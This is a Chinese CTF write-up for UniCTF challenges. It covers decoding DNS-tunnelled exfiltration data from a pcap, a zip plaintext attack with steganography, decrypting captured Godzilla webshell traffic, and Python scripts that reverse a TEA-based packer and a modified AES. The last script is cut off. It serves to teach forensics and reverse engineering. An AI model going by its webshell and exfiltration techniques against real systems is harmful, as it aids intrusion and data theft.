tshark -r traffic.pcapng -T fields -e dns.qry.name | sort -u能看见很多异常DNS记录
0000.kbfqgbauaaaaacaajbsskxfwamzbcoaaaaadmaaaaaeaaaaamz.a1b2c3d4.exfil.unictf.local
0001.wgczzoor4hic6nzn2a44nloyy4qk4jb4utekjorf37cc4ob4wd.a1b2c3d4.exfil.unictf.local
0002.klrsjqwy4n6pgcxiz5zvjthsrcpxgbgdddqpgzhc4mrofgxaka.a1b2c3d4.exfil.unictf.local
0003.cqjmaqefadcqaaaaaiabegkjk4wybteejyaaaaanqaaaaaqaaa.a1b2c3d4.exfil.unictf.local
0004.aaaaaaaaaaaaaaeaaeaaaaaamzwgczzoor4hiuclaudaaaaaaa.a1b2c3d4.exfil.unictf.local
0005.aqaaiagyaaaac6aaaaaaaa.a1b2c3d4.exfil.unictf.local
ffff.1818be0b.a1b2c3d4.exfil.unictf.local直接提取exfil域名的数据部分
tshark -r traffic.pcapng -T fields -e dns.qry.name | grep "exfil.unictf.local" | sort -u | cut -d'.' -f2
这里有一个小常识,拿到的base32编码为小写(域名只能是小写),需要转换为大写才行(如果你用cyberchef转的话)
BlueBreath
题目描述:巨兽并不会凭空消失,它只是换了一种频率在呼吸
考点 图片隐写 明文攻击 哥斯拉
UniCTF{w1reSha3k_easy_or_hard}
流量包里面找到上传的hint文件
从流量包里面提取了一个hint.zip 查看加密的方式 然后使用明文攻击爆破文件头
然后在爆破出来的图片里面颜色通道高位找到Ahiz_2026
查看后面显示上传webshell
使用Ahiz_2026加密MD5
然后取前面16位作为密钥解密webshell
截取的线索
两个文件 首先是7
数据异或处理 得到一半flag
UniCTF{P1ckle_the
UniCTF{P1ckle_the_Great_to01}另外还有一张图片 然后只有黑白 将数据转01得到后半段flag
_Great_to01}im
阅读题干中的源码复现后即可得到答案
问卷
签退
Reverse
Strange_Py
类型:pyd,tea,随机数
拿到两个文件
一个是py打包的exe,一个是加密的flag
打开程序
就是简单的加密界面
pyinstxtractor.py使用解包
encrypt应该是主程序,使用pycdc.exe工具反编译
有两个自定义函数,一个是读取,一个导出,重点看导出
导入了自定义包tea
反编译
无法反编译,只能看字节来了,
tea.pyc (Python 3.9)
[代码]
文件名: tea.py
对象名: <module>
参数数量: 0
仅限位置参数数量: 0
仅限关键字参数数量: 0
局部变量数量: 0
栈大小: 10
标志: 0x00000040 (CO_NOFREE)
[名称]
'ctypes'
'c_uint32'
'sys'
'os'
'path'
'get_base_path'
'base_path'
'insert'
'Eencrypt'
'ImportError'
'e'
'encoded'
[变量名称]
[自由变量]
[单元变量]
[常量]
0
(
'c_uint32'
)
None
(
'path'
)
[代码]
文件名: tea.py
对象名: get_base_path
参数数量: 0
仅限位置参数数量: 0
仅限关键字参数数量: 0
局部变量数量: 1
栈大小: 5
标志: 0x00000043 (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)
[名称]
'hasattr'
'sys'
'_MEIPASS'
'path'
'abspath'
'dirname'
'__file__'
[变量名称]
'base_dir'
[自由变量]
[单元变量]
[常量]
'获取程序运行的基准路径(适配开发/打包环境)'
'_MEIPASS'
[反汇编]
0 LOAD_GLOBAL 0: hasattr
2 LOAD_GLOBAL 1: sys
4 LOAD_CONST 1: '_MEIPASS'
6 CALL_FUNCTION 2
8 POP_JUMP_IF_FALSE 18
10 LOAD_GLOBAL 1: sys
12 LOAD_ATTR 2: _MEIPASS
14 STORE_FAST 0: base_dir
16 JUMP_FORWARD 16 (to 34)
18 LOAD_GLOBAL 3: path
20 LOAD_METHOD 4: abspath
22 LOAD_GLOBAL 3: path
24 LOAD_METHOD 5: dirname
26 LOAD_GLOBAL 6: __file__
28 CALL_METHOD 1
30 CALL_METHOD 1
32 STORE_FAST 0: base_dir
34 LOAD_FAST 0: base_dir
36 RETURN_VALUE
'get_base_path'
(
'*'
)
'导入错误'
[代码]
文件名: tea.py
对象名: encoded
参数数量: 1
仅限位置参数数量: 0
仅限关键字参数数量: 0
局部变量数量: 24
栈大小: 8
标志: 0x00000043 (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)
[名称]
'refill'
'randint1'
'bytes'
'join1'
'by'
'range'
'len'
'xor'
'int'
'c_uint32'
'value'
'extend'
'byte'
'encryption'
[变量名称]
'data'
'rand'
'k'
'key'
'bt'
'i'
'n2'
'text'
'enc'
'plaintext'
'cs'
'vi'
'v0'
'v1'
'v'
'j'
'temp_sum_v_v1'
'temp_key1_v1_shift'
'temp_key0_16v1'
'temp_v0_update'
'temp_sum_v_v0'
'temp_key3_v0_shift'
'temp_key2_16v0'
'temp_v1_update'
[自由变量]
[单元变量]
[常量]
None
[代码]
文件名: tea.py
对象名: <listcomp>
参数数量: 1
仅限位置参数数量: 0
仅限关键字参数数量: 0
局部变量数量: 2
栈大小: 3
标志: 0x00000053 (CO_OPTIMIZED | CO_NEWLOCALS | CO_NESTED | CO_NOFREE)
[名称]
[变量名称]
'.0'
'i'
[自由变量]
[单元变量]
[常量]
[反汇编]
0 BUILD_LIST 0
2 LOAD_FAST 0: .0
4 FOR_ITER 8 (to 14)
6 STORE_FAST 1: i
8 LOAD_FAST 1: i
10 LIST_APPEND 2
12 JUMP_ABSOLUTE 4
14 RETURN_VALUE
'encoded.<locals>.<listcomp>'
16
b''
0
8
2
50
305419896
1
0xFFFFFFFF
5
4
3
[反汇编]
0 LOAD_GLOBAL 0: refill
2 LOAD_FAST 0: data
4 CALL_FUNCTION 1
6 STORE_FAST 0: data
8 LOAD_CONST 1: <CODE> <listcomp>
10 LOAD_CONST 2: 'encoded.<locals>.<listcomp>'
12 MAKE_FUNCTION 0
14 LOAD_FAST 0: data
16 GET_ITER
18 CALL_FUNCTION 1
20 STORE_FAST 0: data
22 LOAD_GLOBAL 1: randint1
24 LOAD_CONST 3: 16
26 CALL_FUNCTION 1
28 STORE_FAST 1: rand
30 LOAD_GLOBAL 2: bytes
32 LOAD_FAST 1: rand
34 CALL_FUNCTION 1
36 STORE_FAST 2: k
38 LOAD_GLOBAL 3: join1
40 LOAD_FAST 1: rand
42 CALL_FUNCTION 1
44 STORE_FAST 3: key
46 LOAD_GLOBAL 4: by
48 LOAD_FAST 3: key
50 CALL_FUNCTION 1
52 STORE_FAST 3: key
54 LOAD_CONST 4: b''
56 STORE_FAST 4: bt
58 LOAD_GLOBAL 5: range
60 LOAD_CONST 5: 0
62 LOAD_GLOBAL 6: len
64 LOAD_FAST 0: data
66 CALL_FUNCTION 1
68 LOAD_CONST 6: 8
70 CALL_FUNCTION 3
72 GET_ITER
74 FOR_ITER 452 (to 530)
78 STORE_FAST 5: i
80 LOAD_GLOBAL 1: randint1
82 LOAD_CONST 6: 8
84 CALL_FUNCTION 1
86 STORE_FAST 1: rand
88 LOAD_GLOBAL 2: bytes
90 LOAD_FAST 1: rand
92 CALL_FUNCTION 1
94 STORE_FAST 6: n2
96 LOAD_GLOBAL 7: xor
98 LOAD_FAST 0: data
100 LOAD_FAST 5: i
102 LOAD_FAST 5: i
104 LOAD_CONST 6: 8
106 BINARY_ADD
108 BUILD_SLICE 2
110 BINARY_SUBSCR
112 LOAD_FAST 1: rand
114 CALL_FUNCTION 2
116 STORE_FAST 7: text
118 LOAD_GLOBAL 8: int
120 LOAD_FAST 7: text
122 LOAD_CONST 0: None
124 LOAD_GLOBAL 6: len
126 LOAD_FAST 7: text
128 CALL_FUNCTION 1
130 LOAD_CONST 7: 2
132 BINARY_FLOOR_DIVIDE
134 BUILD_SLICE 2
136 BINARY_SUBSCR
138 LOAD_CONST 3: 16
140 CALL_FUNCTION 2
142 LOAD_GLOBAL 8: int
144 LOAD_FAST 7: text
146 LOAD_GLOBAL 6: len
148 LOAD_FAST 7: text
150 CALL_FUNCTION 1
152 LOAD_CONST 7: 2
154 BINARY_FLOOR_DIVIDE
156 LOAD_CONST 0: None
158 BUILD_SLICE 2
160 BINARY_SUBSCR
162 LOAD_CONST 3: 16
164 CALL_FUNCTION 2
166 BUILD_LIST 2
168 STORE_FAST 8: enc
170 BUILD_LIST 0
172 STORE_FAST 9: plaintext
174 LOAD_GLOBAL 5: range
176 LOAD_CONST 5: 0
178 LOAD_GLOBAL 6: len
180 LOAD_FAST 8: enc
182 CALL_FUNCTION 1
184 LOAD_CONST 7: 2
186 CALL_FUNCTION 3
188 GET_ITER
190 FOR_ITER 304 (to 498)
194 STORE_FAST 5: i
196 LOAD_CONST 8: 50
198 STORE_FAST 10: cs
200 LOAD_CONST 9: 305419896
202 STORE_FAST 11: vi
204 LOAD_GLOBAL 9: c_uint32
206 LOAD_FAST 8: enc
208 LOAD_FAST 5: i
210 BINARY_SUBSCR
212 CALL_FUNCTION 1
214 STORE_FAST 12: v0
216 LOAD_GLOBAL 9: c_uint32
218 LOAD_FAST 8: enc
220 LOAD_FAST 5: i
222 LOAD_CONST 10: 1
224 BINARY_ADD
226 BINARY_SUBSCR
228 CALL_FUNCTION 1
230 STORE_FAST 13: v1
232 LOAD_GLOBAL 9: c_uint32
234 LOAD_CONST 5: 0
236 CALL_FUNCTION 1
238 STORE_FAST 14: v
240 LOAD_GLOBAL 5: range
242 LOAD_FAST 10: cs
244 CALL_FUNCTION 1
246 GET_ITER
248 FOR_ITER 196 (to 446)
250 STORE_FAST 15: j
252 LOAD_FAST 14: v
254 LOAD_ATTR 10: value
256 LOAD_FAST 11: vi
258 BINARY_SUBTRACT
260 LOAD_CONST 11: 0xFFFFFFFF
262 BINARY_AND
264 LOAD_FAST 14: v
266 STORE_ATTR 10: value
268 LOAD_FAST 14: v
270 LOAD_ATTR 10: value
272 LOAD_FAST 13: v1
274 LOAD_ATTR 10: value
276 BINARY_ADD
278 LOAD_CONST 11: 0xFFFFFFFF
280 BINARY_AND
282 STORE_FAST 16: temp_sum_v_v1
284 LOAD_FAST 3: key
286 LOAD_CONST 10: 1
288 BINARY_SUBSCR
290 LOAD_FAST 13: v1
292 LOAD_ATTR 10: value
294 LOAD_CONST 12: 5
296 BINARY_RSHIFT
298 BINARY_ADD
300 LOAD_CONST 11: 0xFFFFFFFF
302 BINARY_AND
304 STORE_FAST 17: temp_key1_v1_shift
306 LOAD_FAST 3: key
308 LOAD_CONST 5: 0
310 BINARY_SUBSCR
312 LOAD_FAST 13: v1
314 LOAD_ATTR 10: value
316 LOAD_CONST 13: 4
318 BINARY_LSHIFT
320 BINARY_ADD
322 LOAD_CONST 11: 0xFFFFFFFF
324 BINARY_AND
326 STORE_FAST 18: temp_key0_16v1
328 LOAD_FAST 16: temp_sum_v_v1
330 LOAD_FAST 17: temp_key1_v1_shift
332 BINARY_XOR
334 LOAD_FAST 18: temp_key0_16v1
336 BINARY_XOR
338 STORE_FAST 19: temp_v0_update
340 LOAD_FAST 12: v0
342 LOAD_ATTR 10: value
344 LOAD_FAST 19: temp_v0_update
346 BINARY_ADD
348 LOAD_CONST 11: 0xFFFFFFFF
350 BINARY_AND
352 LOAD_FAST 12: v0
354 STORE_ATTR 10: value
356 LOAD_FAST 14: v
358 LOAD_ATTR 10: value
360 LOAD_FAST 12: v0
362 LOAD_ATTR 10: value
364 BINARY_ADD
366 LOAD_CONST 11: 0xFFFFFFFF
368 BINARY_AND
370 STORE_FAST 20: temp_sum_v_v0
372 LOAD_FAST 3: key
374 LOAD_CONST 14: 3
376 BINARY_SUBSCR
378 LOAD_FAST 12: v0
380 LOAD_ATTR 10: value
382 LOAD_CONST 12: 5
384 BINARY_RSHIFT
386 BINARY_SUBTRACT
388 LOAD_CONST 11: 0xFFFFFFFF
390 BINARY_AND
392 STORE_FAST 21: temp_key3_v0_shift
394 LOAD_FAST 3: key
396 LOAD_CONST 7: 2
398 BINARY_SUBSCR
400 LOAD_FAST 12: v0
402 LOAD_ATTR 10: value
404 LOAD_CONST 13: 4
406 BINARY_LSHIFT
408 BINARY_ADD
410 LOAD_CONST 11: 0xFFFFFFFF
412 BINARY_AND
414 STORE_FAST 22: temp_key2_16v0
416 LOAD_FAST 20: temp_sum_v_v0
418 LOAD_FAST 21: temp_key3_v0_shift
420 BINARY_XOR
422 LOAD_FAST 22: temp_key2_16v0
424 BINARY_XOR
426 STORE_FAST 23: temp_v1_update
428 LOAD_FAST 13: v1
430 LOAD_ATTR 10: value
432 LOAD_FAST 23: temp_v1_update
434 BINARY_ADD
436 LOAD_CONST 11: 0xFFFFFFFF
438 BINARY_AND
440 LOAD_FAST 13: v1
442 STORE_ATTR 10: value
444 JUMP_ABSOLUTE 248
446 LOAD_FAST 12: v0
448 LOAD_ATTR 10: value
450 LOAD_FAST 8: enc
452 LOAD_FAST 5: i
454 STORE_SUBSCR
456 LOAD_FAST 13: v1
458 LOAD_ATTR 10: value
460 LOAD_FAST 8: enc
462 LOAD_FAST 5: i
464 LOAD_CONST 10: 1
466 BINARY_ADD
468 STORE_SUBSCR
470 LOAD_FAST 9: plaintext
472 LOAD_METHOD 11: extend
474 LOAD_FAST 8: enc
476 LOAD_FAST 5: i
478 BINARY_SUBSCR
480 LOAD_FAST 8: enc
482 LOAD_FAST 5: i
484 LOAD_CONST 10: 1
486 BINARY_ADD
488 BINARY_SUBSCR
490 BUILD_LIST 2
492 CALL_METHOD 1
494 POP_TOP
496 JUMP_ABSOLUTE 190
498 LOAD_GLOBAL 12: byte
500 LOAD_GLOBAL 3: join1
502 LOAD_FAST 9: plaintext
504 LOAD_CONST 6: 8
506 CALL_FUNCTION 2
508 CALL_FUNCTION 1
510 STORE_FAST 9: plaintext
512 LOAD_FAST 4: bt
514 LOAD_GLOBAL 2: bytes
516 LOAD_FAST 9: plaintext
518 CALL_FUNCTION 1
520 BINARY_ADD
522 LOAD_FAST 6: n2
524 BINARY_ADD
526 STORE_FAST 4: bt
528 JUMP_ABSOLUTE 74
530 LOAD_GLOBAL 13: encryption
532 LOAD_FAST 4: bt
534 LOAD_FAST 2: k
536 CALL_FUNCTION 2
538 RETURN_VALUE
'encoded'
[反汇编]
0 LOAD_CONST 0: 0
2 LOAD_CONST 1: ('c_uint32',)
4 IMPORT_NAME 0: ctypes
6 IMPORT_FROM 1: c_uint32
8 STORE_NAME 1: c_uint32
10 POP_TOP
12 LOAD_CONST 0: 0
14 LOAD_CONST 2: None
16 IMPORT_NAME 2: sys
18 STORE_NAME 2: sys
20 LOAD_CONST 0: 0
22 LOAD_CONST 3: ('path',)
24 IMPORT_NAME 3: os
26 IMPORT_FROM 4: path
28 STORE_NAME 4: path
30 POP_TOP
32 LOAD_CONST 4: <CODE> get_base_path
34 LOAD_CONST 5: 'get_base_path'
36 MAKE_FUNCTION 0
38 STORE_NAME 5: get_base_path
40 LOAD_NAME 5: get_base_path
42 CALL_FUNCTION 0
44 STORE_NAME 6: base_path
46 LOAD_NAME 2: sys
48 LOAD_ATTR 4: path
50 LOAD_METHOD 7: insert
52 LOAD_CONST 0: 0
54 LOAD_NAME 6: base_path
56 CALL_METHOD 2
58 POP_TOP
60 SETUP_FINALLY 12 (to 74)
62 LOAD_CONST 0: 0
64 LOAD_CONST 6: ('*',)
66 IMPORT_NAME 8: Eencrypt
68 IMPORT_STAR
70 POP_BLOCK
72 JUMP_FORWARD 44 (to 118)
74 DUP_TOP
76 LOAD_NAME 9: ImportError
78 JUMP_IF_NOT_EXC_MATCH 116
80 POP_TOP
82 STORE_NAME 10: e
84 POP_TOP
86 SETUP_FINALLY 20 (to 108)
88 LOAD_NAME 9: ImportError
90 LOAD_CONST 7: '导入错误'
92 CALL_FUNCTION 1
94 RAISE_VARARGS 1
96 POP_BLOCK
98 POP_EXCEPT
100 LOAD_CONST 2: None
102 STORE_NAME 10: e
104 DELETE_NAME 10: e
106 JUMP_FORWARD 10 (to 118)
108 LOAD_CONST 2: None
110 STORE_NAME 10: e
112 DELETE_NAME 10: e
114 RERAISE
116 RERAISE
118 LOAD_CONST 8: <CODE> encoded
120 LOAD_CONST 9: 'encoded'
122 MAKE_FUNCTION 0
124 STORE_NAME 11: encoded
126 LOAD_CONST 2: None
128 RETURN_VALUE根据字节码得出源码:
import ctypes
from ctypes import c_uint32
import sys
import os
from os import path
def get_base_path():
if hasattr(sys, '_MEIPASS'):
base_dir = sys._MEIPASS
else:
base_dir = path.abspath(path.dirname(__file__))
return base_dir
base_path = get_base_path()
sys.path.insert(0, base_path)
try:
from Eencrypt import *
except ImportError as e:
raise ImportError('导入错误')
def encoded(data):
data = refill(data)
data = [i for i in data]
rand = randint1(16)
k = bytes(rand)
key = join1(rand)
key = by(key)
bt = b''
for i in range(0, len(data), 8):
rand = randint1(8)
n2 = bytes(rand)
text = xor(data[i:i+8], rand)
text_bytes = text
half_len = len(text_bytes) // 2
v0 = int(text_bytes[:half_len], 16)
v1 = int(text_bytes[half_len:], 16)
enc = [v0, v1]
plaintext = []
for i in range(0, len(enc), 2):
cs = 50
vi = 305419896
v0 = c_uint32(enc[i])
v1 = c_uint32(enc[i+1])
v = c_uint32(0)
for j in range(cs):
v.value = (v.value - vi) & 0xFFFFFFFF
temp_sum_v_v1 = (v.value + v1.value) & 0xFFFFFFFF
temp_key1_v1_shift = (key[1] + (v1.value >> 5)) & 0xFFFFFFFF
temp_key0_16v1 = (key[0] + (v1.value << 4)) & 0xFFFFFFFF
temp_v0_update = temp_sum_v_v1 ^ temp_key1_v1_shift ^ temp_key0_16v1
v0.value = (v0.value + temp_v0_update) & 0xFFFFFFFF
temp_sum_v_v0 = (v.value + v0.value) & 0xFFFFFFFF
temp_key3_v0_shift = (key[3] - (v0.value >> 5)) & 0xFFFFFFFF
temp_key2_16v0 = (key[2] + (v0.value << 4)) & 0xFFFFFFFF
temp_v1_update = temp_sum_v_v0 ^ temp_key3_v0_shift ^ temp_key2_16v0
v1.value = (v1.value + temp_v1_update) & 0xFFFFFFFF
enc[i] = v0.value
enc[i+1] = v1.value
plaintext.extend([enc[i], enc[i+1]])
plaintext = byte(join1(plaintext, 8))
bt = bt + bytes(plaintext) + n2
return encryption(bt, k)是一篇tea加密程序,然后数据都经过了Eencrypt处理
然后来看tea加密,加密轮数50,然后sum为305419896
我们的思路现在就是来反编译Eencrypt,首先找到它
是pyd文件,那就不能直接反编译了,我们尝试调用看看
他的版本为3.9版本的python,你如果要调用pyd版本要一致
看看有什么函数,使用help
我们一步一步来,根据刚刚反编译的tea来
def encoded(data):
data = refill(data)
data = [i for i in data]
rand = randint1(16)
k = bytes(rand)
key = join1(rand)
key = by(key)
bt = b''首先把我们的数据带入了refill函数
refill为补齐8的倍数位
然后数据被分装到列表里
然后是randint1(16)
生成对应位数的随机数列表
然后k等于为随机数的字节形式
然后带入了join1()函数
同样测试一遍,但是注意要满足他之前的条件不然会报错
把数据转为16进制拼接
然后带入by()
分为了4个数据,那这个应该就是tea的key了
前面就分析完了,分析下个部分
for i in range(0, len(data), 8):
rand = randint1(8)
n2 = bytes(rand)
text = xor(data[i:i+8], rand)
text_bytes = bytes(text)
half_len = len(text_bytes) // 2
v0 = int(text_bytes[:half_len], 16)
v1 = int(text_bytes[half_len:], 16)
enc = [v0, v1]
plaintext = []定义了8个随机数,赋值给了n2,然后带入了data的8为数据,我们同样跟着操作测试
我们带入了八个字符,他同样返回了一串16进制
分析得知就是异或了我们的8个数据
然后把数据平分给了,v0,v1
所以这个就是我们的enc
我先复现这一步
修改结尾代码创建文件运行
plaintext.extend([enc[i], enc[i + 1]])
print(plaintext)
plaintext = byte(join1(plaintext, 8))
print(plaintext)
bt = bt + bytes(plaintext) + n2
return encryption(bt, k)
if __name__ == '__main__':
print(encoded(b'abcdefghijklmnop'))得到
他把加密的数据转为了bytes的形式
然后进行拼接刚才的随机数byte数据,最后进行了encryption(bt, k)加密,那前面的清楚了,就差最后这一个了
刚才分析知道k就是我们的key的byte数据,bt是加密的数据
我们模拟一下
发现就是两个数据进行合并,然后在后面加上随机字节数据
那所有数据都知道了,分析逆向程序
首先是提取,我们的数据现在是这样的:密文+随机数的异或+key+无用的随机数
我们要提取前三个,就要知道我们是随机数被填充了多少,
from Eencrypt import *
data=[]
for i in range(1000):
a=len(encryption(b'1234', b'1122334455667788'))-len(b'12341122334455667788')
data.append(a)
print(max(data))编写脚本来测试最大数
发现最大为填充15个垃圾字节,经过测试知道,都为16的倍数,所以我们要把数据求余16来得到垃圾字节的长度。
分析完毕,编写exp
from ctypes import c_uint32
def sj(byte_data):
hex_str_list = []
for byte in byte_data:
hex_byte = hex(byte)[2:].zfill(2)
hex_str_list.append(hex_byte)
full_hex_str = ''.join(hex_str_list)
uint32_list = []
for idx in range(0, len(full_hex_str), 8):
hex_sub_str = full_hex_str[idx:idx + 8]
uint32_num = int(hex_sub_str, 16)
uint32_list.append(uint32_num)
return uint32_list
def js(uint32_list):
hex_str_list = []
for num in uint32_list:
hex_num = hex(num)[2:].zfill(8)
hex_str_list.append(hex_num)
full_hex_str = ''.join(hex_str_list)
byte_value_list = []
for idx in range(0, len(full_hex_str), 2):
hex_sub_str = full_hex_str[idx:idx + 2]
byte_value = int(hex_sub_str, 16)
byte_value_list.append(byte_value)
return byte_value_list
flagenc = b''
file_path = 'flag.enc'
with open(file_path, 'rb') as f:
file_content = f.read()
file_content=file_content[:0-len(file_content)%16]
key_bytes = file_content[-16:]
key = sj(key_bytes)
encrypted_byte_data = file_content[:-16]
for data_idx in range(0, len(encrypted_byte_data), 16):
current_segment = encrypted_byte_data[data_idx:data_idx + 16]
enc_byte_data = current_segment[:8]
y_byte_data = current_segment[8:16]
enc_uint32_list = sj(enc_byte_data)
plaintext_uint32_list = []
for tea_idx in range(0, len(enc_uint32_list), 2):
cycle_count = 50
vi = 0x12345678
v0 = c_uint32(enc_uint32_list[tea_idx])
v1 = c_uint32(enc_uint32_list[tea_idx + 1])
v = c_uint32((0 - (vi * cycle_count)) & 0xFFFFFFFF)
for cycle_idx in range(cycle_count):
sub_v1 = (v.value + v0.value) ^ (key[3] - (v0.value >> 5)) ^ (key[2] + 16 * v0.value)
sub_v1 = sub_v1 & 0xFFFFFFFF
v1.value = (v1.value - sub_v1) & 0xFFFFFFFF
sub_v0 = (v.value + v1.value) ^ (key[1] + (v1.value >> 5)) ^ (key[0] + 16 * v1.value)
sub_v0 = sub_v0 & 0xFFFFFFFF
v0.value = (v0.value - sub_v0) & 0xFFFFFFFF
v.value = (v.value + vi) & 0xFFFFFFFF
enc_uint32_list[tea_idx] = v0.value
enc_uint32_list[tea_idx + 1] = v1.value
plaintext_uint32_list.append(enc_uint32_list[tea_idx])
plaintext_uint32_list.append(enc_uint32_list[tea_idx + 1])
plaintext_byte_values = js(plaintext_uint32_list)
decrypted_byte_values = []
for idx in range(len(plaintext_byte_values)):
xor_result = plaintext_byte_values[idx] ^ y_byte_data[idx]
decrypted_byte_values.append(xor_result)
current_decrypted_bytes = bytes(decrypted_byte_values)
flagenc += current_decrypted_bytes
print(flagenc)拿到exe文件,运行得到flag
ezobf
copy选手的
分析过程
主逻辑很直白:fgets读入,memcpy进工作区,然后对前32字节做一套固定运算,最终memcmp(buf,expected,0x20)判定对错,同时限制输入长度16到31。因为比对长度是32字节,所以实际参与运算的是“输入+PKCS7padding”,当明文长度为26(本题flag长度)时,填充字节就是0x06连续6次。
继续顺着变换函数往下看,会遇到几组非常典型的AES痕迹:
1)256字节查表(S-box)
2)Rcon常量
3)按16字节分块、共10轮的轮结构
并且key是写死的000102...0f。也就是说,这是一个“换了S-box”的AES-128,轮密钥依旧可以按标准AES-128keyschedule去展开,只是SubWord用题目的自定义S-box。真正的区别在轮函数本身。通过单步/Hook把每一轮的顺序对齐后,可以归纳出:每个16字节block的初始操作是AddRoundKey(rk0)轮1..9的结构是:
SubBytes->ShiftRows->MixColumns->额外再做一次ShiftRows->AddRoundKey(rk[r])
最后一轮是:
SubBytes->ShiftRows->ShiftRows->AddRoundKey(rk10)
也就是“标准AES每轮多插入了一次ShiftRows”,其它部分保持一致。
程序里用于memcmp的32字节常量就是密文(两个block),S-box与密文都放在.rdata,脚本里按VA直接取即可(S-box:0x14000C080,密文:0x14000C1C0)。
因此解题不需要重新做逆向推导,只要把这套“多一次ShiftRows的AES”按逆过程实现解密:逆SubBytes(用逆S-box)、逆ShiftRows、逆MixColumns,再把PKCS7padding去掉,就能得到原始输入字符串。
import argparse
import struct
from pathlib import Path
from typing import List, Tuple
SBOX_VA = 0x14000C080
CIPHERTEXT_VA = 0x14000C1C0
def _read_u16(buf: bytes, off: int) -> int:
return struct.unpack_from("<H", buf, off)[0]
def _read_u32(buf: bytes, off: int) -> int:
return struct.unpack_from("<I", buf, off)[0]
def _read_u64(buf: bytes, off: int) -> int:
return struct.unpack_from("<Q", buf, off)[0]
def parse_pe64_layout(blob: bytes) -> Tuple[int, List[Tuple[str, int, int, int, int]]]:
"""
解析 PE32+ (x64) 基本布局,返回 (image_base, sections)
sections: (name, vaddr, vsize, raw_ptr, raw_size)
"""
if blob[:2] != b"MZ":
raise ValueError("不是有效的PE文件(MZ不匹配)")
pe_off = _read_u32(blob, 0x3C)
if blob[pe_off:pe_off + 4] != b"PE\x00\x00":
raise ValueError("PE\\0\\0签名不匹配")
file_hdr = pe_off + 4
n_sections = _read_u16(blob, file_hdr + 2)
opt_size = _read_u16(blob, file_hdr + 16)
opt_off = file_hdr + 20
magic = _read_u16(blob, opt_off)
if magic != 0x20B:
raise ValueError("题目是64位PE(PE32+),当前文件不符合")
image_base = _read_u64(blob, opt_off + 24)
sec_table = opt_off + opt_size
sections = []
for i in range(n_sections):
off = sec_table + i * 40
name = blob[off:off + 8].rstrip(b"\x00").decode(errors="ignore")
vsize = _read_u32(blob, off + 8)
vaddr = _read_u32(blob, off + 12)
raw_size = _read_u32(blob, off + 16)
raw_ptr = _read_u32(blob, off + 20)
sections.append((name, vaddr, vsize, raw_ptr, raw_size))
return image_base, sections
def rva_to_offset(rva: int, sections: List[Tuple[str, int, int, int, int]]) -> int:
for _, vaddr, vsize, raw_ptr, raw_size in sections:
span = max(vsize, raw_size)
if vaddr <= rva < vaddr + span:
delta = rva - vaddr
# 防止超过 raw_size;典型情况下 delta 不会超,但保险
return raw_ptr + min(delta, raw_size)
raise ValueError(f"RVA不在任何section内: {hex(rva)}")
def read_va(blob: bytes, image_base: int, sections, va: int, size: int) -> bytes:
rva = va - image_base
off = rva_to_offset(rva, sections)
return blob[off:off + size]
def inv_sbox_from(box: bytes) -> bytes:
inv = bytearray(256)
for i, b in enumerate(box):
inv[b] = i
return bytes(inv)
def xor16(a: bytes, b: bytes) -> bytes:
return bytes(x ^ y for x, y in zip(a, b))
def _xtime(x: int) -> int:
x <<= 1
if x & 0x100:
x ^= 0x11B
return x & 0xFF
def gf_mul(a: int, b: int) -> int:
r = 0
aa = a & 0xFF
bb = b & 0xFF
for _ in range(8):
if bb & 1:
r ^= aa
aa = _xtime(aa)
bb >>= 1
return r & 0xFF
def _shift_perm() -> List[int]:
"""
生成一个 16 字节状态的列主序下 ShiftRows 对应的置换表
"""
p = [0] * 16
for c in range(4):
for r in range(4):
src_c = (c + r) & 3
p[c * 4 + r] = src_c * 4 + r
return p
SHIFT = _shift_perm()
INV_SHIFT = [0] * 16
for i, j in enumerate(SHIFT):
INV_SHIFT[j] = i
def permute(state: bytes, table: List[int]) -> bytes:
return bytes(state[table[i]] for i in range(16))
def inv_shift_rows(state: bytes) -> bytes:
return permute(state, INV_SHIFT)
def inv_sub_bytes(state: bytes, inv_box: bytes) -> bytes:
return bytes(inv_box[b] for b in state)
def inv_mix_columns(state: bytes, m9: bytes, m11: bytes, m13: bytes, m14: bytes) -> bytes:
s = list(state)
out = [0] * 16
for c in range(4):
a0, a1, a2, a3 = (s[c * 4 + 0], s[c * 4 + 1], s[c * 4 + 2], s[c * 4 + 3])
out[c * 4 + 0] = m14[a0] ^ m11[a1] ^ m13[a2] ^ m9[a3]
out[c * 4 + 1] = m9[a0] ^ m14[a1] ^ m11[a2] ^ m13[a3]
out[c * 4 + 2] = m13[a0] ^ m9[a1] ^ m14[a2] ^ m11[a3]
out[c * 4 + 3] = m11[a0] ^ m13[a1] ^ m9[a2] ^ m14[a3]
return bytes(out)
def expand_key(box: bytes, master: bytes) -> List[bytes]:
"""
AES-128 key schedule,使用给定 sbox(box)。
生成 11 个 round key (0..10),每个 16 bytes,总 176 bytes。
"""
rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36]
out = bytearray(master)
while len(out) < 176:
n = len(out)
tmp = bytearray(out[n - 4:n])
word_idx = n // 4
if word_idx % 4 == 0:
tmp = tmp[1:] + tmp[:1] # RotWord
tmp = bytearray(box[b] for b in tmp) # SubWord
tmp[0] ^= rcon[word_idx // 4 - 1] # Rcon
prev = out[n - 16:n - 12]
out.extend(bytes(p ^ t for p, t in zip(prev, tmp)))
return [bytes(out[i:i + 16]) for i in range(0, 176, 16)]
def decrypt_one(
ct: bytes,
rks: List[bytes],
inv_box: bytes,
m9: bytes, m11: bytes, m13: bytes, m14: bytes,
) -> bytes:
"""
你的结构看起来是“改版 AES 逆向过程”(顺序和标准 AES 不完全一致)
这里保留你的流程,只修复了明显的重复调用(原来 inv_shift_rows 调了两次)。
"""
st = xor16(ct, rks[10])
# 原脚本:st = inv_shift_rows(inv_shift_rows(st)) (重复)
st = inv_shift_rows(st)
st = inv_sub_bytes(st, inv_box)
for r in range(9, 0, -1):
st = xor16(st, rks[r])
st = inv_shift_rows(st)
st = inv_mix_columns(st, m9, m11, m13, m14)
st = inv_shift_rows(st)
st = inv_sub_bytes(st, inv_box)
return xor16(st, rks[0])
def pkcs7_unpad(buf: bytes, bs: int = 16) -> bytes:
if not buf:
raise ValueError("空数据无法去padding")
pad = buf[-1]
if pad < 1 or pad > bs:
raise ValueError("padding值异常")
if buf[-pad:] != bytes([pad]) * pad:
raise ValueError("padding校验失败")
return buf[:-pad]
def main() -> None:
ap = argparse.ArgumentParser()
